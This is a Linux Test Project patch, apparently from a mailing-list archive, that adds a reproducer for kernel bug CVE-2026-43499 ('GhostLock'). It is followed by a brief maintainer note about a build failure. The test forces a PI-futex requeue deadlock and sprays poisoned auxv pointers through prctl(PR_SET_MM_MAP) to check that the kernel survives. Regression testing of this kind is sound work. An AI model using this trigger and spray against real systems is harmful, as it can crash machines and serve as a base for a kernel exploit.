+static uint32_t f_pi_chain;
+
+static pid_t waiter_tid;
+static pid_t owner_tid;
+
+static unsigned long auxv[MAX_AUXV_WORDS];
+static uint32_t valid_auxv_size;
+static tst_atomic_t stop_spray;
+
+/*
+ * auxv_size must fit mm->saved_auxv (AT_VECTOR_SIZE words:
+ * 50 on current kernels, 44 on older ones)
+ */
+static const int try_sizes[] = {
+ MAX_AUXV_WORDS,
+ MAX_AUXV_WORDS - 4,
+ MAX_AUXV_WORDS - 8
+};
+
+static int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
+ struct timespec *ts)
+{
+ return tst_syscall(__NR_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts,
+ uaddr2, 0);
+}
+
+static int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2)
+{
+ return tst_syscall(__NR_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1,
+ uaddr2, 0);
+}
+
+static void futex_lock_pi(uint32_t *uaddr)
+{
+ if (tst_syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0) == -1) {
+ if (errno == ENOSYS)
+ tst_brk(TCONF, "FUTEX_LOCK_PI not supported");
+
+ tst_brk(TBROK | TERRNO, "FUTEX_LOCK_PI failed");
+ }
+}
+
+static void futex_unlock_pi(uint32_t *uaddr)
+{
+ if (tst_syscall(__NR_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0) == -1) {
+ if (errno == ENOSYS)
+ tst_brk(TCONF, "FUTEX_UNLOCK_PI not supported");
+
+ tst_brk(TBROK | TERRNO, "FUTEX_UNLOCK_PI failed");
+ }
+}
+
+static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+ struct timespec ts;
+ struct prctl_mm_map mm_map = {
+ .start_code = (uint64_t)(uintptr_t)&waiter_fn,
+ .end_code = (uint64_t)(uintptr_t)&waiter_fn + 0x1000,
+ .start_data = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
+ .end_data = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
+ .start_brk = (uint64_t)(uintptr_t)sbrk(0),
+ .brk = (uint64_t)(uintptr_t)sbrk(0),
+ .start_stack = (uint64_t)(uintptr_t)&mm_map,
+ .arg_start = (uint64_t)(uintptr_t)&mm_map,
+ .arg_end = (uint64_t)(uintptr_t)&mm_map,
+ .env_start = (uint64_t)(uintptr_t)&mm_map,
+ .env_end = (uint64_t)(uintptr_t)&mm_map,
+ .auxv = (void *)auxv,
+ .auxv_size = valid_auxv_size,
+ .exe_fd = (uint32_t)-1,
+ };
+
+ waiter_tid = tst_syscall(__NR_gettid);
+
+ futex_lock_pi(&f_pi_chain);
+
+ TST_CHECKPOINT_WAKE(CP_CHAIN_HELD);
+
+ SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &ts);
+ ts = tst_timespec_add(ts, (struct timespec){ .tv_sec = 10, .tv_nsec = 0 });
+ if (futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts) != -1 ||
+ (errno != ETIMEDOUT && errno != EWOULDBLOCK && errno != EDEADLK)) {
+ if (errno == ENOSYS)
+ tst_brk(TCONF, "FUTEX_WAIT_REQUEUE_PI not supported");
+
+ tst_brk(TBROK | TERRNO, "futex_wait_requeue_pi() failed unexpectedly");
+ }
+
+ TST_CHECKPOINT_WAKE(CP_SPRAYED);
+
+ while (!tst_atomic_load(&stop_spray)) {
+ /*
+ * This is the syscall that poisons the buffer and it might
+ * fail, so we don't use the SAFE_* variant.
+ */
+ prctl(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
+ sizeof(mm_map), 0);
+ }
+
+ futex_unlock_pi(&f_pi_chain);
+
+ return NULL;
+}
+
+static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+ owner_tid = tst_syscall(__NR_gettid);
+
+ TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+
+ futex_lock_pi(&f_pi_target);
+ TST_CHECKPOINT_WAKE(CP_TARGET_HELD);
+
+ futex_lock_pi(&f_pi_chain);
+
+ futex_unlock_pi(&f_pi_chain);
+ futex_unlock_pi(&f_pi_target);
+
+ return NULL;
+}
+
+static void setup(void)
+{
+ struct prctl_mm_map map = {
+ .start_code = (uint64_t)(uintptr_t)&setup,
+ .end_code = (uint64_t)(uintptr_t)&setup + 0x1000,
+ .start_data = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
+ .end_data = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
+ .start_brk = (uint64_t)(uintptr_t)sbrk(0),
+ .brk = (uint64_t)(uintptr_t)sbrk(0),
+ .start_stack = (uint64_t)(uintptr_t)&map,
+ .arg_start = (uint64_t)(uintptr_t)&map,
+ .arg_end = (uint64_t)(uintptr_t)&map,
+ .env_start = (uint64_t)(uintptr_t)&map,
+ .env_end = (uint64_t)(uintptr_t)&map,
+ .auxv = (void *)auxv,
+ .exe_fd = (uint32_t)-1,
+ };
+ unsigned int i;
+
+ for (i = 0; i < MAX_AUXV_WORDS; i++)
+ auxv[i] = POISON_PTR + i * sizeof(unsigned long);
+
+ for (i = 0; i < ARRAY_SIZE(try_sizes); i++) {
+ valid_auxv_size = try_sizes[i] * sizeof(unsigned long);
+ map.auxv_size = valid_auxv_size;
+
+ if (prctl(PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map), 0) == 0)
+ break;
+ }
+
+ if (i == ARRAY_SIZE(try_sizes))
+ tst_brk(TBROK | TERRNO, "PR_SET_MM_MAP failed for all auxv sizes");
+
+ tst_res(TDEBUG, "Using auxv_size = %u", valid_auxv_size);
+}
+
+static void run(void)
+{
+ pthread_t waiter_th, owner_th;
+ struct sched_attr attr = {
+ .size = sizeof(attr),
+ .sched_policy = SCHED_BATCH,
+ .sched_nice = 19,
+ };
+ int i;
+
+ tst_res(TINFO, "Triggering PI deadlock and stack spray");
+
+ for (i = 0; i < ATTEMPTS; i++) {
+ if (!tst_remaining_runtime())
+ break;
+
+ f_wait = 0;
+ f_pi_target = 0;
+ f_pi_chain = 0;
+ tst_atomic_store(0, &stop_spray);
+
+ SAFE_PTHREAD_CREATE(&waiter_th, NULL, waiter_fn, NULL);
+ SAFE_PTHREAD_CREATE(&owner_th, NULL, owner_fn, NULL);
+
+ TST_CHECKPOINT_WAIT(CP_TARGET_HELD);
+
+ if (TST_THREAD_STATE_WAIT(owner_tid, 'S', 10000))
+ tst_brk(TBROK | TERRNO, "owner thread did not block");
+
+ if (TST_THREAD_STATE_WAIT(waiter_tid, 'S', 10000))
+ tst_brk(TBROK | TERRNO, "waiter thread did not block");
+
+ TEST(futex_cmp_requeue_pi(&f_wait, &f_pi_target));
+ if (TST_ERR == ENOSYS)
+ tst_brk(TCONF, "FUTEX_CMP_REQUEUE_PI not supported");
+ if (TST_RET != -1 || TST_ERR != EDEADLK)
+ tst_brk(TBROK | TTERRNO, "FUTEX_CMP_REQUEUE_PI did not return -EDEADLK");
+
+ TST_CHECKPOINT_WAIT2(CP_SPRAYED, 18000);
+
+ SAFE_SCHED_SETATTR(waiter_tid, &attr, 0);
+
+ tst_atomic_store(1, &stop_spray);
+
+ SAFE_PTHREAD_JOIN(waiter_th, NULL);
+ SAFE_PTHREAD_JOIN(owner_th, NULL);
+ }
+
+ if (i < ATTEMPTS)
+ tst_res(TINFO, "Runtime exhausted, executed %d/%d attempts", i, ATTEMPTS);
+
+ tst_res(TPASS, "Kernel survived %d GhostLock trigger attempts", i);
+}
+
+static struct tst_test test = {
+ .setup = setup,
+ .test_all = run,
+ .runtime = 180,
+ .needs_checkpoints = 1,
+ .needs_kconfigs = (const char *[]) {
+ "CONFIG_CHECKPOINT_RESTORE=y",
+ "CONFIG_FUTEX_PI=y",
+ NULL
+ },
+ .taint_check = TST_TAINT_W | TST_TAINT_D,
+ .tags = (const struct tst_tag[]) {
+ {"linux-git", "3bfdc63936dd"},
+ {"CVE", "2026-43499"},
+ {}
+ },
+};
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 8+ messages in thread* Re: [LTP] [PATCH v9 0/5] Reproducer for ghostlock
2026-09-10 11:57 [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato
` (4 preceding siblings ...)
2026-09-10 11:57 ` [LTP] [PATCH v9 5/5] cve: add CVE-2026-43499 reproducer Andrea Cervesato
@ 2026-09-10 12:41 ` Andrea Cervesato via ltp
5 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato via ltp @ 2026-09-10 12:41 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: Linux Test Project
Hi Cyril,
sign...now there's a build error. I'm gonna send the next version..
https://github.com/linux-test-project/ltp/actions/runs/34474819570/job/102862960039
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread